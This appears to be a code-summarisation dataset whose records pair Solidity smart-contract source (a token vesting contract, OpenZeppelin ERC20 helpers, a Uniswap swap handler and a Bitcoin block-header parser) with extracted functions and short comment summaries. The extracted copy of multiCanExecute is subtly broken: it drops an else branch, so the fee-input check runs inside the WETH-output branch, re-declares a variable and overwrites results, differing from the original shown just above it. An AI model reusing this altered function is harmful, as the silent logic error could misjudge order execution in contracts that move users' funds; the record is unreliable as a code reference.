function addMultipleVC(VC[] memory _vcs) public onlyRole(GM_ROLE) {
for (uint8 i = 0; i < _vcs.length; i++) {
VC memory vc = _vcs[i];
require(
vcmap[vc.beneficiary].recived == false,
"Duplicate Collection"
);
VC memory oldvc = vcmap[vc.beneficiary];
if (oldvc.amount > 0) {
tokensToVest = tokensToVest.sub(oldvc.amount);
}
vcmap[vc.beneficiary] = vc;
tokensToVest = tokensToVest.add(vc.amount);
emit VCAdd(vc.beneficiary);
}
}
function reviceTGE() public {
VC memory vc = vcmap[msg.sender];
require(vc.timeOfTGE > 0, "not found vs info");
require(vc.timeOfTGE < block.timestamp, "Not yet time to pick up");
require(vc.recived == false, "Duplicate Collection");
require(vc.amount > 0, "Insufficient balance");
// Calculate token vesting
// Unlocked @TGE
// The rest are released once a month
uint256 unlockedTGETokens = vc.amount.mul(vc.unlockTGE).div(100);
uint256 lockedTokens = vc.amount.sub(unlockedTGETokens);
tokensToVest = tokensToVest.sub(vc.amount);
if (lockedTokens > 0) {
uint256 unlockedTokensEveryMonth = lockedTokens.div(
vc.vestingMonth
);
uint256 vestingPeriod = 30 days;
for (uint256 month = 1; month <= vc.vestingMonth; month++) {
uint256 releaseTime = block
.timestamp
.add(vc.cliffMonth * vestingPeriod)
.add(vestingPeriod * month);
addVesting(
vc.beneficiary,
releaseTime,
unlockedTokensEveryMonth
);
}
}
if (unlockedTGETokens > 0) {
require(
MELDToken.transfer(vc.beneficiary, unlockedTGETokens),
"transfer failed"
);
}
vcmap[msg.sender].recived = true;
}
function removeVC(address _vcAddress) public onlyRole(GM_ROLE) {
VC memory vc = vcmap[_vcAddress];
require(vc.timeOfTGE > 0, "not found vs info");
require(vc.recived == false, "vc start recived");
tokensToVest = tokensToVest.sub(vc.amount);
delete vcmap[_vcAddress];
}
function addVesting(
address _beneficiary,
uint256 _releaseTime,
uint256 _amount
) private {
require(_beneficiary != address(0x0), INVALID_BENEFICIARY);
tokensToVest = tokensToVest.add(_amount);
vestingId = vestingId.add(1);
vestings[vestingId] = Vesting({
beneficiary: _beneficiary,
releaseTime: _releaseTime,
amount: _amount,
released: false
});
emit TokenVestingAdded(vestingId, _beneficiary, _amount);
}
function release(uint256 _vestingId) public {
Vesting storage vesting = vestings[_vestingId];
require(vesting.beneficiary != address(0x0), INVALID_VESTING_ID);
require(!vesting.released, VESTING_ALREADY_RELEASED);
require(block.timestamp >= vesting.releaseTime, NOT_VESTED);
require(
MELDToken.balanceOf(address(this)) >= vesting.amount,
INSUFFICIENT_BALANCE
);
vesting.released = true;
tokensToVest = tokensToVest.sub(vesting.amount);
MELDToken.transfer(vesting.beneficiary, vesting.amount);
emit TokenVestingReleased(
_vestingId,
vesting.beneficiary,
vesting.amount
);
}
function retrieveExcessTokens(uint256 _amount)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(
_amount <= MELDToken.balanceOf(address(this)).sub(tokensToVest),
INSUFFICIENT_BALANCE
);
MELDToken.transfer(msg.sender, _amount);
}
function _authorizeUpgrade(address newImplementation)
internal
override
onlyRole(DEFAULT_ADMIN_ROLE)
{}
}
|
Calculate token vesting Unlocked @TGE The rest are released once a month
|
function reviceTGE() public {
VC memory vc = vcmap[msg.sender];
require(vc.timeOfTGE > 0, "not found vs info");
require(vc.timeOfTGE < block.timestamp, "Not yet time to pick up");
require(vc.recived == false, "Duplicate Collection");
require(vc.amount > 0, "Insufficient balance");
uint256 unlockedTGETokens = vc.amount.mul(vc.unlockTGE).div(100);
uint256 lockedTokens = vc.amount.sub(unlockedTGETokens);
tokensToVest = tokensToVest.sub(vc.amount);
if (lockedTokens > 0) {
uint256 unlockedTokensEveryMonth = lockedTokens.div(
vc.vestingMonth
);
uint256 vestingPeriod = 30 days;
for (uint256 month = 1; month <= vc.vestingMonth; month++) {
uint256 releaseTime = block
.timestamp
.add(vc.cliffMonth * vestingPeriod)
.add(vestingPeriod * month);
addVesting(
vc.beneficiary,
releaseTime,
unlockedTokensEveryMonth
);
}
}
if (unlockedTGETokens > 0) {
require(
MELDToken.transfer(vc.beneficiary, unlockedTGETokens),
"transfer failed"
);
}
vcmap[msg.sender].recived = true;
}
| 6,424,680 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import {
IERC20,
SafeERC20
} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {GelatoString} from "../../lib/GelatoString.sol";
import {
IUniswapV2Router02
} from "../../interfaces/uniswap/IUniswapV2Router02.sol";
import {ETH} from "../../constants/Tokens.sol";
function _swapExactXForX(
address WETH, // solhint-disable-line var-name-mixedcase
IUniswapV2Router02 _uniRouter,
uint256 _amountIn,
uint256 _amountOutMin,
address[] memory _path,
address _to,
uint256 _deadline
) returns (uint256) {
if (_path[0] == ETH) {
_path[0] = WETH;
return
_swapExactETHForTokens(
_uniRouter,
_amountIn,
_amountOutMin,
_path,
_to,
_deadline
);
}
SafeERC20.safeIncreaseAllowance(
IERC20(_path[0]),
address(_uniRouter),
_amountIn
);
if (_path[_path.length - 1] == ETH) {
_path[_path.length - 1] = WETH;
return
_swapExactTokensForETH(
_uniRouter,
_amountIn,
_amountOutMin,
_path,
_to,
_deadline
);
}
return
_swapExactTokensForTokens(
_uniRouter,
_amountIn,
_amountOutMin,
_path,
_to,
_deadline
);
}
function _swapExactETHForTokens(
IUniswapV2Router02 _uniRouter,
uint256 _amountIn,
uint256 _amountOutMin,
address[] memory _path, // must be ETH-WETH SANITIZED!
address _to,
uint256 _deadline
) returns (uint256 amountOut) {
try
_uniRouter.swapExactETHForTokens{value: _amountIn}(
_amountOutMin,
_path,
_to,
_deadline
)
returns (uint256[] memory amounts) {
amountOut = amounts[amounts.length - 1];
} catch Error(string memory error) {
GelatoString.revertWithInfo(error, "_swapExactETHForTokens:");
} catch {
revert("_swapExactETHForTokens:undefined");
}
}
function _swapExactTokensForETH(
IUniswapV2Router02 _uniRouter,
uint256 _amountIn,
uint256 _amountOutMin,
address[] memory _path, // must be ETH-WETH SANITIZED!
address _to,
uint256 _deadline
) returns (uint256 amountOut) {
try
_uniRouter.swapExactTokensForETH(
_amountIn,
_amountOutMin,
_path,
_to,
_deadline
)
returns (uint256[] memory amounts) {
amountOut = amounts[amounts.length - 1];
} catch Error(string memory error) {
GelatoString.revertWithInfo(error, "_swapExactTokensForETH:");
} catch {
revert("_swapExactTokensForETH:undefined");
}
}
function _swapExactTokensForTokens(
IUniswapV2Router02 _uniRouter,
uint256 _amountIn,
uint256 _amountOutMin,
address[] memory _path, // must be ETH-WETH SANITIZED!
address _to,
uint256 _deadline
) returns (uint256 amountOut) {
try
_uniRouter.swapExactTokensForTokens(
_amountIn,
_amountOutMin,
_path,
_to,
_deadline
)
returns (uint256[] memory amounts) {
amountOut = amounts[amounts.length - 1];
} catch Error(string memory error) {
GelatoString.revertWithInfo(error, "_swapExactTokensForTokens:");
} catch {
revert("_swapExactTokensForTokens:undefined");
}
}
function _swapTokensForExactETH(
IUniswapV2Router02 _uniRouter,
uint256 _amountOut,
uint256 _amountInMax,
address[] memory _path, // must be ETH-WETH SANITIZED!
address _to,
uint256 _deadline
) returns (uint256 amountIn) {
SafeERC20.safeIncreaseAllowance(
IERC20(_path[0]),
address(_uniRouter),
_amountInMax
);
try
_uniRouter.swapTokensForExactETH(
_amountOut,
_amountInMax,
_path,
_to,
_deadline
)
returns (uint256[] memory amounts) {
return amounts[0];
} catch Error(string memory error) {
GelatoString.revertWithInfo(error, "_swapTokensForExactETH:");
} catch {
revert("_swapTokensForExactETH:undefined");
}
}
pragma solidity 0.8.7;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {
IUniswapV2Router02
} from "../../interfaces/uniswap/IUniswapV2Router02.sol";
import {
_swapExactTokensForTokens
} from "../../functions/uniswap/FUniswapV2.sol";
/// @notice Custom Handler for token -> token UniswapV2 swaps
/// @dev ONLY compatible with Flashbots LimitOrdersModule
contract UniswapV2HandlerFlashbots {
address public immutable flashbotsModule;
// solhint-disable var-name-mixedcase
address public immutable WETH;
IUniswapV2Router02 public immutable UNI_ROUTER;
// solhint-enable var-name-mixedcase
struct SimulationData {
address[][] routerPaths;
address[][] routerFeePaths;
uint256[] inputAmounts;
uint256[] minReturns;
uint256[] totalFees;
}
constructor(
address _flashbotsModule,
// solhint-disable-next-line func-param-name-mixedcase, var-name-mixedcase
address _WETH,
IUniswapV2Router02 _uniRouter
) {
flashbotsModule = _flashbotsModule;
WETH = _WETH;
UNI_ROUTER = _uniRouter;
}
function execTokenToToken(
address[] calldata routerPath,
address[] calldata routerFeePath,
uint256 totalFee,
uint256 minReturn,
address owner
) external {
require(
msg.sender == flashbotsModule,
"UniswapV2HandlerFlashbots#execTokenToToken: ONLY_MODULE"
);
require(
routerPath[0] == routerFeePath[0],
"UniswapV2HandlerFlashbots#execTokenToToken: TOKEN_IN_MISMATCH"
);
// Assumes msg.sender already transferred inputToken
IERC20 inputToken = IERC20(routerPath[0]);
uint256 amountIn = inputToken.balanceOf(address(this));
require(
amountIn > 0,
"UniswapV2HandlerFlashbots#execTokenToToken AMOUNT_IN_ZERO"
);
inputToken.approve(address(UNI_ROUTER), amountIn);
// Get WETH totalFee and send to module
uint256 feeAmountIn = UNI_ROUTER.swapTokensForExactTokens(
totalFee,
amountIn,
routerFeePath,
msg.sender,
block.timestamp + 1 // solhint-disable-line not-rely-on-time
)[0];
// Exec swap and send to owner
UNI_ROUTER.swapExactTokensForTokens(
amountIn - feeAmountIn,
minReturn,
routerPath,
owner,
block.timestamp + 1 // solhint-disable-line not-rely-on-time
);
}
/**
* @notice Check whether can execute an array of orders
* @param simulationData - Struct containing relevant data for all orders
* @return results - Whether or not each order can be executed
*/
function multiCanExecute(SimulationData calldata simulationData)
external
view
returns (bool[] memory results)
{
results = new bool[](simulationData.routerPaths.length);
for (uint256 i = 0; i < simulationData.routerPaths.length; i++) {
uint256 _inputAmount = simulationData.inputAmounts[i];
if (simulationData.routerPaths[i][0] == WETH) {
results[i] = (_inputAmount <= simulationData.totalFees[i])
? false
: (_getAmountOut(
_inputAmount - simulationData.totalFees[i],
simulationData.routerPaths[i]
) >= simulationData.minReturns[i]);
} else if (
simulationData.routerPaths[i][
simulationData.routerPaths[i].length - 1
] == WETH
) {
uint256 bought = _getAmountOut(
_inputAmount,
simulationData.routerPaths[i]
);
results[i] = (bought <= simulationData.totalFees[i])
? false
: (bought >=
simulationData.minReturns[i] +
simulationData.totalFees[i]);
} else {
// Equivalent totalFee amount in terms of inputToken
uint256 _feeInputAmount = UNI_ROUTER.getAmountsIn(
simulationData.totalFees[i],
simulationData.routerFeePaths[i]
)[0];
if (_inputAmount > _feeInputAmount) {
uint256 bought = _getAmountOut(
_inputAmount - _feeInputAmount,
simulationData.routerPaths[i]
);
results[i] = (bought >= simulationData.minReturns[i]);
}
}
}
}
function _getAmountOut(uint256 _amountIn, address[] memory _path)
private
view
returns (uint256 amountOut)
{
uint256[] memory amountsOut = UNI_ROUTER.getAmountsOut(
_amountIn,
_path
);
amountOut = amountsOut[amountsOut.length - 1];
}
}
// "SPDX-License-Identifier: GPL-3.0"
pragma solidity 0.8.7;
interface IUniswapV2Router02 {
function swapExactETHForTokens(
uint256 minAmountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 minAmountOut,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 minAmountOut,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function factory() external pure returns (address);
// solhint-disable-next-line func-name-mixedcase
function WETH() external pure returns (address);
}
// "SPDX-License-Identifier: GPL-3.0"
pragma solidity 0.8.7;
library GelatoString {
function revertWithInfo(string memory _error, string memory _tracingInfo)
internal
pure
{
revert(string(abi.encodePacked(_tracingInfo, _error)));
}
function prefix(string memory _second, string memory _first)
internal
pure
returns (string memory)
{
return string(abi.encodePacked(_first, _second));
}
function suffix(string memory _first, string memory _second)
internal
pure
returns (string memory)
{
return string(abi.encodePacked(_first, _second));
}
}
|
Check whether can execute an array of orders simulationData - Struct containing relevant data for all orders return results - Whether or not each order can be executed/ Equivalent totalFee amount in terms of inputToken
|
function multiCanExecute(SimulationData calldata simulationData)
external
view
returns (bool[] memory results)
{
results = new bool[](simulationData.routerPaths.length);
for (uint256 i = 0; i < simulationData.routerPaths.length; i++) {
uint256 _inputAmount = simulationData.inputAmounts[i];
if (simulationData.routerPaths[i][0] == WETH) {
results[i] = (_inputAmount <= simulationData.totalFees[i])
? false
: (_getAmountOut(
_inputAmount - simulationData.totalFees[i],
simulationData.routerPaths[i]
) >= simulationData.minReturns[i]);
} else if (
simulationData.routerPaths[i][
simulationData.routerPaths[i].length - 1
] == WETH
) {
uint256 bought = _getAmountOut(
_inputAmount,
simulationData.routerPaths[i]
);
results[i] = (bought <= simulationData.totalFees[i])
? false
: (bought >=
simulationData.minReturns[i] +
simulationData.totalFees[i]);
uint256 _feeInputAmount = UNI_ROUTER.getAmountsIn(
simulationData.totalFees[i],
simulationData.routerFeePaths[i]
)[0];
if (_inputAmount > _feeInputAmount) {
uint256 bought = _getAmountOut(
_inputAmount - _feeInputAmount,
simulationData.routerPaths[i]
);
results[i] = (bought >= simulationData.minReturns[i]);
}
}
}
}
| 11,975,310 |
pragma solidity <5.5;
import "./SafeMath.sol";
import "./Utils.sol";
contract EMR {
// =================== external Libs =======================
using SafeMath for uint256;
using Utils for bytes;
// =================== end ext. Libs =======================
// ================ inlined owner handling =================
address public _owner;
constructor() public {
_owner = msg.sender;
_currentState = emrState.deploy;
}
function owner() public view returns (address) {
return _owner;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
// ================ end inl. owner handl. ==================
// ================== Parseing functions ===================
/*
* returns version from Bitcoin block header
* TODO: nVersion in Bitcoin is actually a int32 not uint32
* @param byte array of 80 bytes Bitcoin block header
* @return uint32 version from Bitcoin block header
*/
function getVersionFromHeader(bytes memory blockHeaderBytes) public pure returns(uint32){
return uint32(blockHeaderBytes.slice(0,4).flipBytes().bytesToUint());
}
/*
* returns previous block hash from Bitcoin block header
* @param byte array of 80 bytes Bitcoin block header
* @return bytes32 hashPrevBlock from Bitcoin block header in little endian format
*/
function getPrevBlockHash(bytes memory blockHeaderBytes) public pure returns(bytes32){
return blockHeaderBytes.slice(4, 32).flipBytes().toBytes32();
}
/*
* returns Merkle tree root hash from Bitcoin block header
* @param byte array of 80 bytes Bitcoin block header
* @return bytes32 hashMerkleRoot from Bitcoin block header
*/
function getMerkleRoot(bytes memory blockHeaderBytes) public pure returns(bytes32){
return blockHeaderBytes.slice(36, 32).flipBytes().toBytes32();
}
/*
* returns time from Bitcoin block header
* @param byte array of 80 bytes Bitcoin block header
* @return uint32 timestamp from Bitcoin block header
*/
function getTimeFromHeader(bytes memory blockHeaderBytes) public pure returns(uint32){
return uint32(blockHeaderBytes.slice(68,4).flipBytes().bytesToUint());
}
/*
* returns nBits from Bitcoin block header
* @param byte array of 80 bytes Bitcoin block header
* @return uint32 nBits from Bitcoin block header
*/
function getNBitsFromHeader(bytes memory blockHeaderBytes) public pure returns(uint256){
return blockHeaderBytes.slice(72, 4).flipBytes().bytesToUint();
}
/*
* returns nonce from Bitcoin block header
* @param byte array of 80 bytes Bitcoin block header
* @return uint32 nNonce from Bitcoin block header
*/
function getNNonceFromHeader(bytes memory blockHeaderBytes) public pure returns(uint256){
return blockHeaderBytes.slice(76, 4).flipBytes().bytesToUint();
}
/*
* returns block height from Bitcoin coinbase
* @param byte array of coinbase
* @return uint32 block height stored in coinbase
*/
function getHeightFromCoinbase(bytes memory coinbaseBytes) public pure returns(uint256){
uint256 heightLength = coinbaseBytes.slice(0,1).bytesToUint();
return coinbaseBytes.slice(1,heightLength).flipBytes().bytesToUint();
}
/* Extract address from coinbase
* @param byte array of coinbase
* @return uint32 block height stored in coinbase
*/
function getAddressFromCoinbase(bytes memory coinbaseBytes) public pure returns(address){
uint256 heightLength = coinbaseBytes.slice(0,1).bytesToUint();
return address(uint160(coinbaseBytes.slice(1+heightLength,20).flipBytes().bytesToUint()));
}
/*
* returns block header with zeroed out Merkle root hash
* @param byte array of block header
* @return bytes memory block header with zeroed out Merkle root hash
*/
function setMerkleRoot(bytes memory blockHeaderBytes) public pure returns(bytes memory) {
bytes memory blockHeaderBytes_new = new bytes(blockHeaderBytes.length);
for (uint i = 0; i < blockHeaderBytes.length; i++){
if ( i >= 36 && i < ( 36 + 32 ) ) {
blockHeaderBytes_new[i] = byte(0x00);
} else {
blockHeaderBytes_new[i] = blockHeaderBytes[i];
}
}
return blockHeaderBytes_new;
}
/*
* returns block header with zeroed out previous block hash
* @param byte array of block header
* @return bytes memory block header with zeroed out previous block hash
*/
function setPrevBlockHash(bytes memory blockHeaderBytes) public pure returns(bytes memory) {
bytes memory blockHeaderBytes_new = new bytes(blockHeaderBytes.length);
for (uint i = 0; i < blockHeaderBytes.length; i++){
if ( i >= 4 && i < ( 4 + 32 ) ) {
blockHeaderBytes_new[i] = byte(0x00);
} else {
blockHeaderBytes_new[i] = blockHeaderBytes[i];
}
}
return blockHeaderBytes_new;
}
/*
* @notice Reconstructs merkle tree root given a transaction hash, index in block and merkle tree path
* @param txIndex index of transaction given by hash in the corresponding block's merkle tree
* @param merkleProof merkle tree path to transaction hash from block's merkle tree root
* @return merkle tree root of the block containing the transaction, meaningless hash otherwise
*/
function computeMerkle(uint256 txIndex, bytes32 txhash, bytes memory merkleProof) public pure returns(bytes32) {
// Special case: only coinbase tx in block. Root == proof
if(merkleProof.length == 32) return merkleProof.toBytes32();
bytes32 resultHash = txhash;
for(uint i = 0; i < merkleProof.length / 32; i++) {
if(txIndex % 2 == 1){
resultHash = concatSHA256Hash(merkleProof.slice(i * 32, 32),
abi.encodePacked(resultHash));
} else {
resultHash = concatSHA256Hash(abi.encodePacked(resultHash),
merkleProof.slice(i * 32, 32));
}
txIndex /= 2;
}
return resultHash;
}
/*
* @notice Concatenates and re-hashes two SHA256 hashes
* @param left left side of the concatenation
* @param right right side of the concatenation
* @return sha256 hash of the concatenation of left and right
*/
function concatSHA256Hash(bytes memory left, bytes memory right) public pure returns (bytes32) {
return dblSha(abi.encodePacked(left, right)).toBytes32();
}
// ------------------------ Difficutly handling ------------------------
/*
* Bitcoin difficulty constants
*/
uint256 public constant DIFFICULTY_ADJUSTMENT_INVETVAL = 2016;
/*
* @notice Calculates the PoW difficulty target from compressed nBits representation,
* according to https://bitcoin.org/en/developer-reference#target-nbits
* @param nBits Compressed PoW target representation
* @return PoW difficulty target computed from nBits
*/
function nBitsToTarget(uint256 nBits) private pure returns (uint256){
uint256 exp = uint256(nBits) >> 24;
uint256 c = uint256(nBits) & 0xffffff;
uint256 target = uint256((c * 2**(8*(exp - 3))));
return target;
}
function getTargetFromHeader(bytes memory blockHeaderBytes) public pure returns(uint256){
return nBitsToTarget(getNBitsFromHeader(blockHeaderBytes));
}
/*
function getDifficulty(uint256 target) public pure returns(uint256){
return 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / target;
}
*/
// -------------------- end difficulty handling ------------------------
// ==================== end parseing functions =========================
// ======================= helper functions ============================
/*
* @notice Performns Bitcoin-like double sha256 (LE!)
* @param data Bytes to be flipped and double hashed s
* @return Reversed and double hashed representation of parsed data
*/
function dblShaFlip(bytes memory data) public pure returns (bytes memory){
return abi.encodePacked(sha256(abi.encodePacked(sha256(data)))).flipBytes();
}
function dblSha(bytes memory data) public pure returns (bytes memory){
return abi.encodePacked(sha256(abi.encodePacked(sha256(data))));
}
// ====================== end helper functions =========================
